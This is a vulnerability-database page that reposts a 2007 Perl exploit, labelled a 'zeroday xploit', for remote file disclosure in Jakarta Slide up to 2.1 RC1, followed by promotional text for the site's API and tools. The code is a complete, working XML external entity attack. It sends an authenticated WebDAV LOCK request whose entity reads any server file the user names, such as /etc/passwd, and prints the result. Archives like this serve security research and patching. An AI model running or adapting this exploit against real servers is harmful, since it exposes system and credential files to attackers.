Lucene search
K

Jakarta Slide <= 2.1 RC1 Remote File Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Jakarta Slide Remote File Disclosure Exploi

Code

                                                #!/usr/bin/perl
#******************************************************
# Jakarta Slide Remote File Disclosure Zeroday Xploit
# eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
	print &#34;Jakarta Slide Remote File Disclosure Zeroday Xploit\n&#34;;
	print &#34;eliteb0y / 2007\n&#34;;
	print &#34;usage: perl JAKARTAXPL &#60;remotehost&#62; &#60;slide file&#62; &#60;file to retrieve&#62; [username] [password]\n&#34;;
	print &#34;example: perl JAKARTAXPL www.hostname.com /slide/users/guest /etc/passwd guest guest\n&#34;;exit;
}

if ($#ARGV &#60; 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET-&#62;new(PeerAddr =&#62; $hostname,
                              PeerPort =&#62; $remoteport,
                              Proto    =&#62; &#39;tcp&#39;);
                              
$|=1;
$BasicAuth = encode_base64(&#34;$username:$password&#34;);

$KRADXmL = 
&#34;&#60;?xml version=\&#34;1.0\&#34;?&#62;\n&#34;
.&#34;&#60;!DOCTYPE REMOTE [\n&#34;
.&#34;&#60;!ENTITY RemoteX SYSTEM \&#34;$remotefile\&#34;&#62;\n&#34;
.&#34;]&#62;\n&#34;
.&#34;&#60;D:lockinfo xmlns:D=&#39;DAV:&#39;&#62;\n&#34;
.&#34;&#60;D:lockscope&#62;&#60;D:exclusive/&#62;&#60;/D:lockscope&#62;\n&#34;
.&#34;&#60;D:locktype&#62;&#60;D:write/&#62;&#60;/D:locktype&#62;\n&#34;
.&#34;&#60;D:owner&#62;\n&#34;
.&#34;&#60;D:href&#62;\n&#34;
.&#34;&#60;REMOTE&#62;\n&#34;
.&#34;&#60;RemoteX&#62;&RemoteX;&#60;/RemoteX&#62;\n&#34;
.&#34;&#60;/REMOTE&#62;\n&#34;
.&#34;&#60;/D:href&#62;\n&#34;
.&#34;&#60;/D:owner&#62;\n&#34;
.&#34;&#60;/D:lockinfo&#62;\n&#34;;

print &#34;Jakarta Slide Remote File Disclosure Zeroday Xploit\n&#34;;
print &#34;eliteb0y / 2007\n&#34;;
print &#34;Launching Remote Exploit...\n&#34;;

$ExploitRequest =
 &#34;LOCK $webdavfile HTTP/1.1\r\n&#34;
.&#34;Host: $hostname\r\n&#34;;

if ($username ne &#34;&#34;) {
$ExploitRequest .= &#34;Authorization: Basic $BasicAuth&#34;;	
}
$ExploitRequest .= &#34;Content-Type: text/xml\r\nContent-Length: &#34;.length($KRADXmL).&#34;\r\n\r\n&#34; . $KRADXmL;

print $sock $ExploitRequest;

while(&#60;$sock&#62;) {
	print;
}

# milw0rm.com [2007-10-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation